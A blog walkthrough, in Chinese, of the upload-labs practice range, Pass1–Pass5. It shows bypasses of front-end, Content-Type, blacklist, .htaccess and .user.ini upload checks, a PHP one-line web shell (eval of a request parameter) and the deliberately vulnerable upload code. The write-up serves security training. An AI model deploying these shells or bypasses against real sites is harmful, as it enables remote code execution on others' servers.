文件上传漏洞靶场upload-labs学习（pass1-pass5）

已于 2024-05-19 18:11:35 修改
阅读量4.9k 收藏 18
点赞数 5
分类专栏： Upload-Labs 文章标签： 学习 安全 php 网络安全 信息安全
于 2022-02-18 22:16:11 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_35493457/article/details/122788389
版权

Upload-Labs学习

0x00 upload-labs简介

upload-labs是一个使用php语言编写的，专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关，每一关都包含着不同上传方式。在2019年11月添加新的pass-05后关卡总数为21关。

0x01 upload-labs环境搭建

首先下载靶场源码，将靶场在自己的主机中部署。在git bash中使用命令

git clone https://github.com/c0ny1/upload-labs

下载源码后使用phpstudy配置需要的环境。

配置项配置描述
操作系统Window or Linux 推荐使用Windows，除了Pass-19必须在linux下，其余Pass都可以在Windows上运行
PHP版本推荐5.2.17其他版本可能会导致部分Pass无法突破
PHP组件php_gd2,php_exif 部分Pass依赖这两个组件
中间件设置Apache以moudel方式连接

这里专门提到了pass19需要在linux下，是因为pass19的绕过方式使用了move_uploaded_file()省略文件末尾/.的特性绕过黑名单的，而在windows中文件名称不允许存在此类特殊字符。其他的配置无需过多操作，都可以使用推荐值。

安装完成之后访问http:127.0.0.1/upload-labs/，效果如图。
在这里插入图片描述
此时我们还需要自己的一个一句话木马，来测试上传执行的情况到底如何，这里使用REQUEST方法的木马，方便我们测试。

 <?php eval($_REQUEST['cmd']); ?>

当访问127.0.0.1/test.php?cmd=phpinfo();出现php配置页面时，前置的准备工作就到这里结束了，下面开始正式尝试每一关的上传绕过。
在这里插入图片描述

0x02 Pass1（前端判断绕过）

点入第一关，首先进行黑盒测试，随意上传一个php类型的文件尝试。
在这里插入图片描述当上传我们的test.php文件时，会出现前端的提示，因此推测限制在js代码中，这里从源码中也可以看到这段代码。
在这里插入图片描述因此我们可以选择使用火狐插件Disable JavaScript将js在本地关闭，或者上传允许的后缀名，然后直接抓包绕过。将已选择的test.jpg修改为test.php即可成功上传。
在这里插入图片描述

0x03 Pass2（content-type类型绕过）

上传测试

选择php类型的文件上传，返回错误的文件类型。
在这里插入图片描述通过观察源码可以看到，每次提交都会将本次的文件传递给函数checkFile()，来检测文件的类型，代码部分如下。
在这里插入图片描述这里我们抓包进行测试，首先上传一个jpg类型的正常文件。
在这里插入图片描述
可以看到提交的content-type为image/jpeg，那么我们直接修改filename中的后缀名为php，发现可以直接上传成功。

在这里插入图片描述
而相反的，当我们上传一个php后缀类型的文件时，抓包看到的content-type为application/octet-stream，这时我们将filename修改为jpg类型的后缀名都不会成功，因此推测pass2中的判断应当是在数据包中的content-type字段。

在这里插入图片描述

源代码阅读

点击查看源码，验证我们的猜想。

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']            
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '文件类型不正确，请重新上传！';
        }
    } else {
        $msg = UPLOAD_PATH.'文件夹不存在,请手工创建！';
    }
}

可以看到判断的主要依据是$_FILES['upload_file']['type']，这个全局变量中的type类型自动返回文件的 MIME类型，需要浏览器提供该信息的支持，例如"image/gif"，所以当我们抓包修改浏览器发送给服务器的content-type后就可以绕过这一判断。

0x04 Pass3（php不同版本后缀绕过）

上传测试

选择php类型的文件上传，提示：不允许上传.asp,.aspx,.php,.jsp后缀文件！

这是一个黑名单后缀绕过的题目，但从提示中我们可以看到，php的其他解析类型并没有被限制，例如：不同版本的php文件

.php2;.php3;.php4;.php5;.php6

修改我们php文件的后缀名称为php3测试，发现可以上传，但却无法解析，代码直接被当作文本显示出来了。

在这里插入图片描述
但这里是本地机器配置的问题，绕过这一关的方式就是使用未被限制的后缀名来突破，下面来进行多后缀名的php解析配置。

方法1：修改httpd.conf

在phpstudy中点击配置文件管理，打开httpd.conf。

在这里插入图片描述在打开的文件中找到被注释的AddType行，

在这里插入图片描述将.php2;.php3;.php4;.php5;.php6添加，并将注释移除，重启Apache服务器后再次尝试。

在这里插入图片描述此时已经可以解析php3文件类型了。

方法2：上传.htaccess

在本关中，上传的所有文件都被重新命名了，所以直接上传.htaccess文件是行不通的，但是我们需要知道，在apache服务器中使用.htaccess文件是可以更改解析方式的。

当文件中填写AddType application/x-httpd-php .php3代码，表示将php3类型的文件以php方式解析。

这时在访问也可以解析。

代码审计

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if(!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
            if (move_uploaded_file($temp_file,$img_path)) {
                 $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件！';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

1、 从源代码我们可以看到，这次的限制来自于$file_ext也就是处理后的后缀名。
2、 且由于strtolower转换小写函数的存在，大小写绕过并不能成功，这里与Linux和windows都没有关系。
3、 而由于str_ireplace('::$DATA', '', $file_ext);函数的存在，使得windows数据流绕过也不可能。
这里引用了一段解析：

在window的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名，且保持::$DATA之前的文件名，他的目的就是不检查后缀名
例如:"phpinfo.php::$DATA"Windows会自动去掉末尾的::$DATA变成"phpinfo.php"

4、 因为$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
的存在，我们无法自己上传.htaccess文件，因为上传后均会被重新命名。

0x05 Pass4（.htaccess文件绕过）

第四关与第三关都是后缀黑名单类型的绕过，我们直接看代码来寻找他们之间的关系。

代码审计

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '此文件不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

这次数组中几乎包含了所有可解析类型的脚本文件后缀， 所以我们不能向上次一样直接上传不同版本的php文件了，但是我们发现在上传文件后只进行了移动，没有进行更名，所以可以使用上传.htaccess文件的方式来增加解析文件的类型。

.htaccess文件(或者”分布式配置文件”)提供了针对每个目录改变配置的方法，即在一个特定的目录中放置一个包含指令的文件，其中的指令作用于此目录及其所有子目录。

我们设置文件内容为：

AddType application/x-httpd-php .jpg

即可让jpg解析为php文件。

首先上传.htaccess文件，再上传内容为一句话木马的jpg文件，即可让jpg以php形式解析。
上传的 jpg文件内容为：

<?php 
echo "Test!";
@eval($_REQUEST['cmd']);
?>

上传完成后的文件目录为：
在这里插入图片描述
访问test.jpg文件即可。
在这里插入图片描述

0x06 Pass5（.user.ini文件绕过）

在第五关中，禁止了.htaccess文件的上传，源码如下。

代码审计

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '此文件类型不允许上传！';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

通过阅读代码我们可以看到，几乎禁止了所有可解析的脚本语言类型和变种。
有很多大佬都说pass5可以通过PHP和PHp大小写的情况绕过，但在作者更新插入一个新的pass5后，添加了$file_ext = strtolower($file_ext);转小写这一函数，所以大部分大佬所说的情况在pass5都不适用了。
点击提示我们可以看到作者的提示。
在这里插入图片描述
也就是说我们需要利用已经存在php文件来完成本次上传。
这里参考了book4yi师傅的.user.ini配置文件在渗透中的利用一文，通过适用.user.ini文件来修改当前目录下的php配置，使每一个php文件都包含指定的文件，从而完成上传。
例如，我们写一个.user.ini文件，内容如下：

auto_prepend_file = test.jpg

而test.jpg的内容为我们上边一直使用的一句话木马：

 <?php 
 echo "Test!";
@eval($_REQUEST['cmd']);
 ?>

上传两个文件后的upload目录如图所示。
在这里插入图片描述
此时我们访问readme.php，观察是否已经包含test.jpg
成功包含。
在这里插入图片描述
但是这里有个坑，我现在的环境是php-5.4.45-nts+Apache，所以利用成功了，起初我使用的是

  • php-5.4.45+Apache，利用失败；
  • 先更换了phpstudy2018版本，未成功；
  • 更换了php版本，未成功；
  • 更换nts的任意php版本，成功。
    发现是nts和ts的差别，当使用nts版本时就可以成功包含指定的文件，目前没有找到原因，网上对nts和ts并没有指出在配置方面有什么区别，仅仅是在线程安全方面有所不同，希望师傅们解惑。
星辰照耀你我
关注
  • 5
    点赞
  • 踩
  • 18
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
专栏目录
Upload-labs通关攻略（适合新手）
夜思红尘的博客
04-12 2135
这是一篇关于upload-labs通关攻略，适合新手
【通关选择】upload-labs通关攻略（大全）
Continuejww的博客
11-02 2201
前提条件：1.文件能够成功上传到服务器2.攻击者能够知道文件的上传路径。
upload-labs·文件上传(靶场攻略)
duoba_an的博客
03-19 3714
文件上传漏洞是指用户上传了一个可执行的脚本文件，并通过此脚本文件获得了执行服务器端命令的能力。“文件上传” 本身没有问题，有问题的是文件上传后，服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全，则会导致严重的后果。这种攻击方式是最为直接和有效的，所以我们需要思考的是如何绕过检测和过滤。文件上传漏洞成因： 具备上传文件功能的Web等应用，未对用户选择上传的文件进行校验，使得非法 用户可通过上传可执行脚本而获取应用的控制权限。
upload-labs详解1-19关通关全解（最全最详细一看就会）
qq_53058639的博客
04-16 762
upload-labs是一个使用php语言编写的，专门收集渗透测试过程中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共19关，每一关都包含着不同上传方式。
upload-labs靶场详解
最新发布
lizhiiiii的博客
04-17 938
使用小皮集成环境来完成这个靶场 将文件放到WWW目录下就可以进行访问。
upload--labs通关详解
m0_52051132的博客
10-15 2083
利用方法：设置上传路径为 upload/phpinfo.php%00 ,添加 phpinfo.php%00 内 容为了控制路径，上传文件后缀为白名单即可 例:test.jpg ，保存后为 /upload/phpinfo.php%00test.jpg ，但服务端读取到%00 时会自动结束，将文件 内容保存至 phpinfo.php 中。.user.ini。漏洞描述：后缀名做了白名单判断，然后会一步一步检查文件大小、文件是否 存在等等，将文件上传后，对文件重新命名，同样存在条件竞争的漏洞。
upload-labs靶场
weixin_50473876的博客
10-21 233
删除：Content-Type: image/jpeg，点击Forward发送。由此可见，服务器根据Content-Type: image/jpeg，判断文件格式。构造一个1.htaccess文件，让服务器把.jpb文件作为.php文件。将1.jpg修改为1.php，点击Forward，把数据包发送给服务器。上传含有一语句木马的1.php文件，提示：此文件不许上传。再次上传一个.jpg文件，用Burp拦截发出的数据包。我们发现，文件的后缀被删了，无法解析。上传含有一语句木马的1.php文件。
Web安全系列-文件上传靶场upload-labs
Galaxy_0的博客
01-18 417
Web安全系列-文件上传靶场upload-labs
1.upload-labs—Pass01
qwsn
03-13 1809
一、Pass-01 1、上传一个shell.php shell.php内容为：<?php @eval($_POST['123']);?> //结果如下图所示，提示我们文件后缀不正确，只允许后缀名为：.jpg .png .gif的文件被上传 2、浏览器开启代理，打开BP，我们再次尝试上传shell.php 结果如下图所示：P没有收到拦截的请求包，依旧提示不允许上传 //这就说...
上传文件漏洞靶场upload-labs
09-27
上传文件漏洞靶场upload-labs，用于练习上传文件漏洞，学习web安全的小白可用。我的博客也有详细的使用教程
PHP、Apache环境中部署upload-labs(文件上传漏洞靶场)
01-08
这就是 upload-labs（文件上传漏洞靶场）的价值所在。 upload-labs 是一款开源的练习 web 漏洞的靶场工具，用 PHP 代码编写而成。需要 PHP 和 Apache 环境运行。下面我们将详细介绍如何在 PHP、Apache 环境中部署 ...
渗透测试上传漏洞经典靶场学习-upload-labs
07-02
渗透测试上传漏洞经典靶场学习-upload-labs
文件上传漏洞练习靶场upload-labs
07-05
文件上传漏洞练习靶场upload-labs内有文件上传漏洞的各种类型绕过的例题，非常全面，对加深文件上传漏洞的理解、利用非常有帮助。
WEB渗透学习-upload-labs靶场
04-20
upload-labs为WEB渗透中文件上传漏洞专项练习靶场，内涵各种文件上传漏洞类型，采用关卡制，一共21关，由易到难，适合刚接触该漏洞的新手巩固练习
文件上传靶场实战：upload-labs第1-3关
01-09 895
本文介绍文件上传靶场upload-labs环境搭建和靶场实战：upload-labs第1-3关
upload-labs文件上传漏洞靶场思路
m0_69814680的博客
12-09 312
文件上传漏洞靶场
BUU basic模块 Upload-Labs-Linux 1
weixin_52942048的博客
10-06 509
【代码】BUU basic模块 Upload-Labs-Linux 1。
upload-labs的搭建与通关1-5
h0ld1rs的博客
07-16 2158
文章内容搭建upload-labsdocker 搭建upload-labs浏览器无法加载出来正常页面upload-labs的通关1-5 搭建upload-labs docker 搭建upload-labs 我们正常搭建 docker search upload-labs docekr pull xxx docekr run -it --name xxx -p 80:80 --rm xxx 浏览器无法加载出来正常页面 因为此前我们做过sqli-labs，所以可能环境搭好后可能会有页面缓冲，像这样。 u
网安upload靶场1-10通关技巧
liushaojiax的博客
01-13 432
第二种从代码中可以看到后端验证的是mimi-type，直接bp抓包直接改就行；第三种将一句话木马文件伪装成图片，利用bp拦截直接修改文件后缀再提交；第一种将一句话木马文件伪装成图片，利用bp拦截直接修改文件后缀再提交；服务器中的一个配置文件，它负责相关目录下的网页配置。系统下，对于文件名中的大小写不敏感。解析，那么无论上传任何文件，只要文件内容符合。Pass-05和Pass-04一样的方式。Pass-04可以看的比之前更严谨了；删除最后一个点之后，不再进行删除，和所上传文件内容相同，并被解析。
upload-labs
07-25
您好！对于upload-labs，我可以为您提供一些帮助。upload-labs是一个用于学习文件上传漏洞的实验平台，旨在帮助开发人员和安全研究人员了解和掌握文件上传漏洞的原理和防御方法。 在upload-labs中，您可以通过上传各种类型的文件来测试和学习不同的文件上传漏洞。平台提供了多个具有不同难度级别的实验，您可以尝试完成这些实验来提升自己对文件上传漏洞的理解和应对能力。 如果您有关于upload-labs的具体问题或需要进一步的指导，请随时告诉我！

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

星辰照耀你我

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值